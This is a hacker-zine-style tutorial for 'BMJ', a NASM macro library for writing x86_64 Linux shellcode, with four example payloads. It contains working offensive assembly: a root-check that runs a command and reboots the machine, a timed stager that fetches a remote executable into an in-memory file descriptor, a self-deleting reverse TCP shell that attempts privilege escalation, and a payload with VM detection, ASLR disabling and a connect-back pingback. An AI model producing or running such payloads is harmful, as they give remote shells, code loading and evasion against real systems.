▀█████████▄ ▄▄▄▄███▄▄▄▄ ▄ ███ 00 ███ ▄ █ █▀▀▀███▀▀▀█ █ ▄ █ █ ███ ███ █ █ █fff███ █0x90 █ █ ▄███▄▄90▄██ █ █ █ ███ █ █ █ █ █ ▀▀███▀▀▀██▄ █ █ ███ █ █ █0x ███0xc0██▄ █ █ █ ███ █ █ █ █ █ ███c3 ███ █ █ █ 0x0fff█ █ █ █ █ █ ▄█████|████▀ ▀ █ ███ | ▀ █▄▄▄▄█ █ | | | | | | | | | | . | . | . . . . . | . . | * . | . * . . . | . . | . * | * . * . . ~~~~~~~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ - - - - - - - - - - - - - - =]D> | . . | * * | . * * . | . | . | . * . * * | | . | * . . * |---- [Bare] | | . | | [Metal] ----| | | [Jacket]-----------------------------| ----{ Wintrmvte @ redcodelabs.io <*> }---- | - - - - [ Introduction ] When I first started with manual shellcoding a few years back, I stuck with the x86_64 32 bit platform due to a great amount of fantastic resources and references online (SLAE, to name one). Transition to 64 bit ecosystem was quite harsh, as code examples and write-ups often do not cover modern Linux scenarios in a low-level approach; and if they do, mostly basic concepts are addressed. This tool doesn't bring anything new to the table, yet it might serve as a starting point for your next project. You will find here standard Nasm macros for task automation, as well as, some more complex ones to enrich your assembly techniques. | - - - - [ Example #1 = Command Execution ] We will start with a most straightforward example - arbitrary command execution. Our code should check if it was executed with elevated privileges. If so, it will launch a shell command in background and attempt to reboot the host. ------------ cmd_exec.asm ----------- BITS 64 %include "bmj.asm" section .text global _start _start: is_root ; Returns 1 in RAX if UID=0 cmp rax, 1 ; Check above condition jne xit ; If not rut, quit execution flow with exit(0) run_bg "echo pvvned" ; Desired command to run reboot xit: ; Program exit exit 0 -------------------------------------- Let's compile it: $ nasm -f elf64 -o cmd_exec.o cmd_exec.asm $ ld -m elf_x86_64 cmd_exec.o -o cmd_exec Try running the created ELF file with and without 'sudo' prefix. | - - - - [ Example #2 = Time Manipulations and Second Stage Loaders] Now let's create something more complex. Initially, our payload will set it's time to live (let's say 5 minutes). During this period, it will attempt to map a remote file (an executable, an LKM etc.) to a in-memory file descriptor. If connection with the server which holds the file fails for some reason, it is re-tried in an infinite loop with 20 seconds of delay between each connect(2) attempt. Let's look at the code: ------------------------------- timed_stager.asm ----------- BITS 64 %include "bmj.asm" section .text global _start _start: set_ttl 5, MINUTES ; We specify operational time of the payload using a pre-defined time constant ; After this time, current process receives SIGALRM and exits infinite_loop file_download, 20, SECONDS file_download: init_sock_tcp ; New TCP socket in RAX push rax pop r11 ; Save socket's fd for later use sock_connect "127.0.0.1", 4444 ; File server's details specified above memfd_create ; Create an in-memory file descriptor, and return it in RAX push rax pop r12 fd2fd ; Read contents from one file descriptor and write to another ; Explicit operands are r11 (source) and r12 (destination), but any registers can be used ret ; Remember to end the 'file_download:' label flow with a 'ret' instruction . . . ; Now we can execute our file via 'fd_exec r12' macro, or do anything else we want with it (like mmap()) ------------------------------------------------------------- Notice that we don't have to specify server's IP address in hex, because 'sock_connect' macro has a built-in IP -> hex converter. | - - - - [ Example #3 = Not Just a Reverse Shell] The third example will consist of a simple reverse TCP shell. It's executable is removed from the filesystem if certain conditions are met, and the process priority is increased (as seen in 'htop') The payload also attempts to elevate privileges (and often miserably fails), and detaches itself from TTY afterwards. Full daemon-like behaviour (extending setsid(0x00)) can be found within the source of 'daemon_init' macro, defined in section 0x05. ------------------------------- reverse_shell.asm ----------- BITS 64 %include "bmj.asm" section .text global _start _start: remove_self ; The binary removes itself if it's size is circa current payload size ('fsize' variable) set_priority MAX_PRIO ; We set process priority to maximum elevate_full ; Privilege escalation attempt via SETGID(0) ats SETUID(0) tty_detach ; setsid(0x00) == detach from controlling TTY device revshell "127.0.0.1", 5555 ; Spawn a standard TCP reverse shell get_current_size_var ; Initiate the 'fsize' variable used by 'remove_self' macro ------------------------------------------------------------- | - - - - [ Example #4 = Size Padding and VM Detection] In the last piece, let's use two padding macros for inserting a short NOP sled and extending payload's size up to 256 bytes in total. It will also perform a dry pingback of an external host to ensure that payload's execution was successful. Let's also specify a single virtualization detection method at the top, and a file lock to prevent eventual zombie-like behaviour of our code on a single host. ------------------------------- vm_and_stuff.asm ----------- BITS 64 %include "bmj.asm" section .text global _start _start: nops 40 flock ; Enforce only a single process instance of the payload running concurrently vm_age ; Check if the sample was launched inside VM by inspecting /etc/hostname STATX structure disable_aslr ; Disable ASLR for further use sock_connect "127.0.0.1", 6666 ; Address for reverse TCP pingpack padd_byte 256, 0x90 ; Padds the payload size with '0x90' to reach exactly 256 bytes in total after being composed by Nasm ------------------------------------------------------------- Thanks for reading, and see you in vol. III ! o/ [0] https://github.com/redcode-labs/BMJ